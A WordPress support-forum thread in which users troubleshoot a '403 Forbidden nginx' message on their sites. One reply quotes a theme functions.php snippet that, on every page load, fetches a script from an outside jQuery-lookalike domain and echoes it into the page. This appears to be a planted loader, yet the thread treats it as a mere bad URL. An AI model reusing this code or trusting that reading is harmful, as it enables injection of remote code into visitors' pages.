WordPress.org

Ready to get started?Download WordPress

Forums

[resolved] [closed] 403 Forbidden nginx (18 posts)

  1. siegmich
    Member
    Posted 9 months ago #

    Hi there,

    I'm using Indie Fest theme and recently I got an error above my header, saying:

    403 Forbidden nginx

    The site is displaying fine, just this little eror message.
    I checked on my permissions for the header file (and related) but no success...

    Anyone who had a similar problem and knows how to solve it?

    Would be highly appreciated!

    here is my site: HuaHuaFu

    thanks a lot!

  2. Pothi
    Member
    Posted 9 months ago #

    I had a similar issue on a "static" site where the static HTML file calls a few PHP files. The PHP files did not have the permission to execute. So, we received the 403 error, like how it is now on your site. When I changed the permissions, everything worked as expected.

    So, basically, there seems to be a permission issue. If you have access to the server via SSH, check the permission of all the files. May be a script to scan all the files and check the permissions would help.

    The easiest way to find the file / folder with the permission issue, is to look at the Nginx server logs.

    I hope that helps.

  3. siegmich
    Member
    Posted 9 months ago #

    Hi Pothi,

    Thanks for your help, but so far I can't get it solved...
    I checked all permissions, and they should be fine!

    The problem is I'm a real rookie in server related issues, so please be a bit more specific in how to access nginx server logs or SSH access, since I don't know how to do...

    My site is hosted on bluehost (support there also couldn't find it)

    Thansk a lot

  4. jnhghy
    Member
    Posted 9 months ago #

    Hi,
    a quick thing that you can check is the .htaccess file, have a look in it, make sure it's not set to send 403 for anything...

  5. siegmich
    Member
    Posted 9 months ago #

    my .htaccess file looks quit normal i think:

    # BEGIN WordPress
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index\.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
    </IfModule>
    
    # END WordPress

    It should be a file from my theme, because if i change the theme completely the problem is gone.
    And all the theme files have the right permissions... :-/

  6. jnhghy
    Member
    Posted 9 months ago #

    the rights over a file are set by 2 things file permission and file owner, I've understood you verified the file permission, make sure the owner is also correct.

  7. siegmich
    Member
    Posted 9 months ago #

    how to change the owner?

  8. jnhghy
    Member
    Posted 9 months ago #

    are you self hosted? or you have a hosting company, if you use a hosting company then this issue cannot be caused by the file owner, if you are self-hosted the google for chown.
    If you use a hosting company then giving the fact the only one theme throws that error, I'd download that themes files and search throw them for "403 Forbidden" string to make sure it's not a script that throws that error else search for "<center>" string and check the redirects of the results(sow on your sire that the error is sorunded by <center> tags... do this and tell us how thing are.

  9. siegmich
    Member
    Posted 9 months ago #

    thanks jnhgy, but still no result!
    i host on bluehost.com.
    I checked the theme files, but in none of theme i found either 403 forbidden or <center> in the code...

    Grrr don't know what to do

  10. Pothi
    Member
    Posted 9 months ago #

    @siegmich

    Afaik, Bluehost doesn't run Nginx on their shared hosting. So, your site may be calling an external resources that sends 403 error. Try disabling all the plugins and/or switch to one the default themes and see if the issue persists.

  11. jnhghy
    Member
    Posted 9 months ago #

    siegmich said:

    It should be a file from my theme, because if i change the theme completely the problem is gone.

    from this I think is a theme issue, make sure you verify the theme header.php and functions file (also plugins) for that center tag, if no results then consider changeing theme/ download the theme again from other source and the last solution, if you need to use this specific theme is to write a css/javascript that will hide all <center> tags...
    No other solutions that I can think at this point...

  12. siegmich
    Member
    Posted 9 months ago #

    Thanks guys for all the support, but still no solution.
    What I know now:

    - It's the theme, because if i activate another theme the problem is gone.
    - It's no plugin compatible error, as the problem is still there if i deactivate all plugins on this theme.
    - there is no "<center>" tag in ANY of the theme files... which makes it all very strange

    As I really like the theme I would like to keep searching for a solution...

    I temporary uploaded the theme into a .zip, so you guys could take a look:
    HERE

    thanks

  13. jnhghy
    Member
    Posted 9 months ago #

    the issue comes from functions.php in the theme
    if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');}
    the : $url="http://www.jqueryc.com/jquery-1.6.3.min.js"; is not valid -> error, at this point you can just remove the add_action/comment out and everything will be ok so replace it with this:
    if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}/*add_action('wp_head', 'insert_jquery_theme');*/}
    and it should work...

  14. siegmich
    Member
    Posted 9 months ago #

    Thanks a million!! it's fixed!

    you're my hero!

  15. Gusane
    Member
    Posted 9 months ago #

    I have the same problem, only that radically changes the code, since I have different Theme Profits and all, by chance "jnhghy" I can help. I am also newbie and do not know how to upload my theme for you to see and as payment, I can not publish, so if your "jnhghy" or other can help me solve it, I send it by e-mail free as payment for the favor.
    Thank you.

  16. miloske037
    Member
    Posted 9 months ago #

    jnhghy, thank you buddy.. I really mean it! It wasn't just like this hint, but you were my guide.. thank you very much!!

  17. Mike
    Member
    Posted 9 months ago #

    Hello, I'm having the exact same problem on my site. I'm using the Big Bang theme, and the site loads properly, everything works, etc. But I'm getting a big fat "Forbidden 403" at the top of the page, and in tiny letters underneath it says "nginx"

    The site was working perfectly last night and even this morning, but then I log on this afternoon and I see this error. I have no clue what nginx is. I contacted my host and they said that the problem isn't on their end. Lot of help they are!

    Here's the site.

    I looked at my functions.php page within my theme as jnhghy suggested, but can't find any similar lines of code to what he posted. Are there any other solutions out there? Thanks in advance!

  18. Mike? You're on a different server possibly running different versions. Please start your own topic instead.

    http://wordpress.org/support/forum/how-to-and-troubleshooting#postform

Topic Closed

This topic has been closed to new replies.

About this Topic